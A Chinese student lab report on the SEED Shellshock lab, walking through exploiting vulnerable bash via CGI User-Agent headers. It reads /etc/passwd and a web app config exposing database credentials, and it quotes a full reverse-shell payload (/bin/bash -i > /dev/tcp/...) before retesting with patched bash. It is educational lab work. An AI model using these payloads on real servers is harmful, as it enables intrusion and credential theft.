实验一 Shellshock Attack
- 概述
2014年9月24日,Bash中发现了一个严重的漏洞。这个漏洞被昵称为Shellshock,它可以利用许多系统,并且可以远程或在本地机器上发起攻击。在本实验中,学生需要研究这一攻击,从而理解Shellshock漏洞。本实验的学习目标是让学生亲身体验这一有趣的攻击,了解其工作原理,并思考我们可以从该攻击中获得哪些教训。本实验的第一个版本于2014年9月29日开发,仅在攻击报告后的五天。它在2014年9月30日分配给我们计算机安全课程的学生。SEED项目的一项重要任务是将真实攻击迅速转化为教学材料,以便教师能够及时将其带入课堂,并让学生了解现实世界中发生的事件。本实验涵盖以下主题:
• Shellshock
• 环境变量
• Bash中的函数定义
• Apache和CGI程序
- 实验任务
- 任务1:使用bash函数
Ubuntu 16.04中的Bash程序已经打过补丁,因此不再容易受到 Shellshock 攻击。为了本实验的目的,我们在 /bin 文件夹中安装了一个易受攻击的 Bash 版本,其名称为 bash_shellshock。我们需要在任务中使用这个 Bash。请像下面这样运行这个易受攻击的 Bash,然后设计一个实验来验证该Bash是否易受 Shellshock 攻击:
$ /bin/bash_shellshock
在修补过的 Bash 版本(/bin/bash)上尝试相同的实验,并报告你的观察结果。
具体操作:
根据我们所学,父进程可以通过环境变量将变量和函数定义传递给子进程。由于存在漏洞,bash在解析父进程环境变量时,可能会将变量解析为函数,并且最严重的是可能会执行变量中的一些指令,这就给了恶意攻击提供了机会。
首先我们先在未打补丁的bash_shellshock上执行操作:
定义一个shell变量foo,用近似函数定义的格式去定义这个变量(让bash将其解析为函数)并在后续添加一个额外的echo命令。用export标记该shell变量让其能作为环境变量传递给子进程,子进程创建(使用bash_shellshock)时,子进程会解析这个环境变量,将其误转换为函数定义,由于漏洞,定义在大括号外的echo命令会被执行。
先在父进程定义shell变量foo:

如图所示,我们使用echo $foo命令可以查看出foo的内容;
而使用declare -f foo则没有信息被打印。说明此时foo依旧是个变量。
接下来我们对foo使用export指令,然后用bash_shellshock进行子进程的创建

可以发现在调用bash_shellshock时会打印shellshock,即定义的变量foo在大括号后紧跟的echo命令。
接着我们使用echo $foo和declare -f foo命令

这说明此时foo已经成为一个函数,而不是变量了。说明子进程将其解析为函数,并且将大括号后的echo指令执行了。
接着我们使用修复后的bash进行上面操作

可以发现执行echo $foo后有信息打印,而执行declare -f foo没有信息打印,说明对于修复后的bash,子进程会完整继承父进程的环境变量,而不会将其解析为函数。
综上可以知道,有漏洞的bash版本bash_shellshock容易受到shellshock的攻击,而打过补丁的bash版本(/bin/bash)没有受到shellshock攻击。
-
- 设置CGI程序
在本实验中,我们将对远程 Web 服务器发起 Shellshock 攻击。许多 Web 服务器启用了 CGI,这是用于在网页和 Web 应用程序上生成动态内容的标准方法。许多 CGI 程序是使用 shell 脚本编写的。因此,在执行 CGI 程序之前,会先调用一个 shell 程序,而这种调用是由远程计算机的用户触发的。如果该 shell 程序是易受攻击的 Bash 程序,我们可以利用 Shellshock 漏洞来获取服务器权限。
在此任务中,我们将设置一个非常简单的 CGI 程序(称为 myprog.cgi),内容如下。它只是使用 shell 脚本打印“Hello World”.
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
请确保在脚本的第一行使用 /bin/bash shellshock,而不是 /bin/bash。该行指定了运行脚本时应调用的 shell 程序。在本实验中,我们确实需要使用易受攻击的 Bash。请将上述 CGI 程序放置在 /usr/lib/cgi-bin 目录下,并将其权限设置为 755(这样它是可执行的)。由于该文件夹只有 root 用户可写,因此需要使用 root 权限来执行这些操作。此文件夹是 Apache Web 服务器的默认 CGI 目录。
要从 Web 访问此 CGI 程序,您可以使用浏览器输入以下 URL:http://localhost/cgi-bin/myprog.cgi,或者使用以下命令行程序 curl 来实现相同功能。
$ curl http://localhost/cgi-bin/myprog.cgi
在我们的设置中,我们在同一台计算机上运行 Web 服务器和攻击程序,这就是我们使用 localhost 的原因。在实际攻击中,服务器运行在远程机器上,我们不使用 localhost,而是使用服务器的主机名或 IP 地址。
具体操作:
进入/usr/lib/cgi-bin 目录,创建并编辑myprog.cgi文件

输入内容如下:

接着为myprog.cgi文件授权755
使用curl http://localhost/cgi-bin/myprog.cgi访问:

可以发现输出Hello World
-
- 任务3:通过环境变量将数据传递给Bash
要利用基于 Bash 的 CGI 程序中的 Shellshock 漏洞,攻击者需要将他们的数据传递给易受攻击的 Bash 程序,并且这些数据需要通过环境变量传递。在这个任务中,我们需要看看如何实现这个目标。你可以使用以下 CGI 程序来演示你可以向 CGI 程序发送任意字符串,该字符串将显示在某个环境变量的内容中。
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ ①
在上面的代码中,①这行会打印当前进程中所有环境变量的内容。如果你的实验成功,你应该能够在从服务器返回的页面中看到你的数据字符串。在你的报告中,请解释远程用户的数据如何能够进入这些环境变量。
具体操作:
同样创建并编辑myprog2.cgi
并将myprog2.cgi授权755

内容如下:

之后运行curl -v http://localhost/cgi-bin/myprog2.cgi
注意这里-v是用来打印http请求和来自服务器的响应。


注意这里我们可以发现,http请求头中User-Agent字段显示的是curl/7.47.0,说明此时客户端是curl;服务器响应后打印的环境变量中有一个HTTP_USER_AGENT,它的值与User-Agent一样。由此可知,Apache服务器从HTTP请求头中获取到了User-Agent的信息,并将其赋值给了名为HTTP_USER_AGENT的环境变量。当Apache服务器创建子进程(bash_shellshock)执行CGI程序时,它会传递该变量以及其他环境变量给CGI程序。
接下来我们可以尝试将User-Agent中的值进行修改为其他字符串
使用curl命令的-A选项即可设置请求头的User-Agent字段


如图所示,此时,HTTP请求头中的User-Agent字段被修改为“myprog”,并且HTTP_USER_AGENT中的值也跟User-Agent字段的值同步改变了。
通过这个例子,我们可以总结出“来自远程用户的数据如何进入这些环境变量”:
远程用户的数据通过HTTP请求头发送给Web服务器,服务器将请求头中的信息(如User-Agent)转换为环境变量(例如HTTP_USER_AGENT)。当服务器创建子进程(bash_shellshock)执行CGI程序时,这些变量会被传递给CGI程序。
-
- 任务4:发起Shellshock攻击
在上述 CGI 程序设置完成后,我们现在可以发起 Shellshock 攻击。该攻击并不依赖 CGI 程序中的内容,因为它针对的是 Bash 程序,而 Bash 程序会在 CGI 脚本执行之前被首先调用。你的目标是通过 URL http://localhost/cgi-bin/myprog.cgi 发起攻击,从而实现作为远程用户无法完成的操作。在此任务中,你应展示以下内容
- 利用 Shellshock 攻击从服务器窃取秘密文件的内容。
- 回答以下问题:你能窃取 shadow 文件(/etc/shadow)的内容吗?为什么能或为什么不能?
具体操作:
我们可以依旧利用bash_shellshock的漏洞(即在变量解析时会将"() {"四个字符解析为函数),那么这里我们可以在使用curl命令的-A选项时做出这样的操作:前面使用这样的函数定义,后面跟着我们的恶意命令。这样我们设置的信息会在后续转化为CGI程序的环境变量时被存在漏洞的bash解析并执行恶意命令,达到我们的目标。
在做这个操作之前,我们需要注意,Apache服务器收到CGI程序打印的内容,并将其返回给客户端。如果我们的命令有纯文本输出,且希望输出返回,其需要知道内容的类型,这里我们的类型是文本,所以我们需要添加"Content-type: text/plain"这个命令,告诉Apache服务器数据类型(后面要跟着一个空行即我们可以用echo;)即我们需要满足这样的协议:以Content_type: text/plain 开头,后跟一个空行,然后跟着命令,如:
echo Content-type: text/plain; echo; /bin/ls-l
我们可以先运行/usr/bin/id程序,看看Web服务器用什么id执行(注意要查看Web服务器id,要用Web调用usr/bin/id程序,那么就可以按我们上述所述让其执行恶意命令)

这里可以看到,Web服务器以www-data的用户id运行,其权限比较低,但是其拥有读权限,我们可以尝试进行盗取文件内容。
我们尝试获取/etc/passwd文件的内容:

如图将恶意命令设为/bin/cat /etc/passwd可以查看其内容
由于Web应用通常会使用数据库,我们可以尝试访问其数据库内容(获取用户名、密码等),例如,从以下秘密文件获取密码:
/var/www/CSRF/Elgg/elgg-config/setting.php这个文件包括Elgg平台的配置信息,即其连接的数据库的信息。
我们可以进行以下操作:

如图使用/bin/cat /var/www/CSRF/Elgg/elgg-config/setting.php查看其内容
我们可以找到以下内容:

如图显示了该数据库的用户名是"elgg_admin",密码是"seedubuntu"
对于问题二,我们上面通过/bin/id已经知道,Web服务器的用户id是33,不是root,而打开/etc/shadow需要root权限,故不能打开。
尽管我尝试使用sudo /bin/cat尝试打开,发现依旧不能成功:

可以看见依旧没有结果,故无法窃取/etc/shadow文件的内容
-
- 任务5:通过Shellshock攻击获取反向Shell
Shellshock 漏洞允许攻击者在目标机器上运行任意命令。在实际攻击中,攻击者通常不会在攻击中硬编码命令,而是选择运行一个 shell 命令,这样他们就可以利用该 shell 继续运行其他命令,只要 shell 程序还在运行。为了实现这一目标,攻击者需要运行反向 shell。
反向 shell 是在一台机器上启动的 shell 进程,其输入和输出由远程计算机上的某人控制。基本上,shell 在受害者的机器上运行,但它从攻击者的机器接收输入,并将输出也输出到攻击者的机器上。反向 shell 为攻击者提供了一种方便的方式,在遭到入侵的机器上执行命令。关于如何创建反向 shell 的详细说明可以在 SEED 书的第 3 章(§3.4.5)中找到。我们也将在后面的指导部分对该说明进行总结。
在此任务中,您需要演示如何通过 CGI 程序中的 Shellshock 漏洞启动反向 shell。请展示您的操作方法。在报告中,请解释您如何设置反向 shell,以及为什么它能够工作。基本上,您需要用自己的话解释反向 shell 在 Shellshock 攻击中如何工作。
具体操作:
反向shell是让shell程序把自己的输入输出交给给远程计算机的用户操控。受害者的shell可以从攻击者的机器中接收输入,同时把输出发送给攻击者的机器。
那么关键点就在于我们需要重定向标准输入、输出和错误输出到一个网络连接,这样shell就可以从网络连接获得输入,也可以将输出写入这个网络连接;攻击者可以把输入通过网络连接传递给shell,并把shell的输出结果通过网络连接返回。
我们需要运行两个虚拟机,一个作为攻击者,一个作为受害者。
我们可以先查看两个虚拟机的IP地址

前者是服务器端(攻击者),地址是172.22.221.148
后者是客户端(受害者),地址是192.168.18.130
接下来我们先在攻击者使用nc命令运行一个TCP服务器,加上-l选项来监听9000端口

接下来服务器端会进行等待客户端的连接
我们在服务器端使用如下命令:

这里解释一下:
(1)/bin/bash -i:-i表示使用shell的可交互模式,shell在这个模式下会提供提示符。
(2)> /dev/tcp/172.22.221.148/9000:这可以让shell的输出设备被重定向到我们刚刚用攻击者(ip:172.22.221.148)设置的TCP端口9000
(3)0<&1:文件描述符0表示标准输入设备(stdin)。这个选项告诉系统将标准输出设备(stdout,文件描述符是1)用作标准输入设备。而输出设备已经被重定向到TCP连接,所以shell程序会从TCP连接获得输入。
(4)2>&1:文件描述符2表示标准错误(stderr),这里把标准错误也重定向至stdout,即TCP连接。
(5)http://192.168.18.130/cgi-bin/myprog2.cgi:即客户端的CGI程序,注意这里用客户端的IP地址代替localhost
通过上述指令后,服务器端便可以攻击客户端使其跟服务器端连接,此后我们便可以在服务器端进行输入获取客户端的输出

如图我们进行id指令,获取uid是33(www-data)
我们可以接着验证:
如图我们在服务器端(ip:172.22.221.148)进行ifconfig指令,得到的ip是192.168.18.120,即客户端ip。说明攻击成功。
总的来说,我们利用bash的漏洞,通过环境变量(如User-Agent)来设计我们的恶意指令。攻击者先创建一个监听端口,然后通过恶意指令在目标机器启动一个bash shell连接到服务器,之后就可以远程控制该机器。
-
- 任务6:使用打过补丁的Bash
现在,让我们使用一个已经打过补丁的 Bash 程序。程序 /bin/bash 是一个已打补丁的版本。请将你 CGI 程序的第一行替换为这个程序。重新执行任务 3 和 5,并描述你的观察结果。
具体操作
创建一个新的myprog3.cgi
代码如下

依旧授权755

重做任务3
用替换后的myprog3进行操作

可以发现User-Agent中的值和HTTP_USER_AGENT的值都改变了
很好理解,因为这里我们并没有使用到有漏洞的bash的对于函数解析的漏洞,只是进行了传参而已。
重做任务5
![]()
将myprog2.cgi换成myprog3.cgi
最后得到结果:

该程序一直等待连接

输入后返回Environment Variables
其中HTTP_USER_AGENT=() { echo hello;}; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/172.22.221.148/9000 0<&1 2>&1
说明攻击失败。
1248

被折叠的 条评论
为什么被折叠?



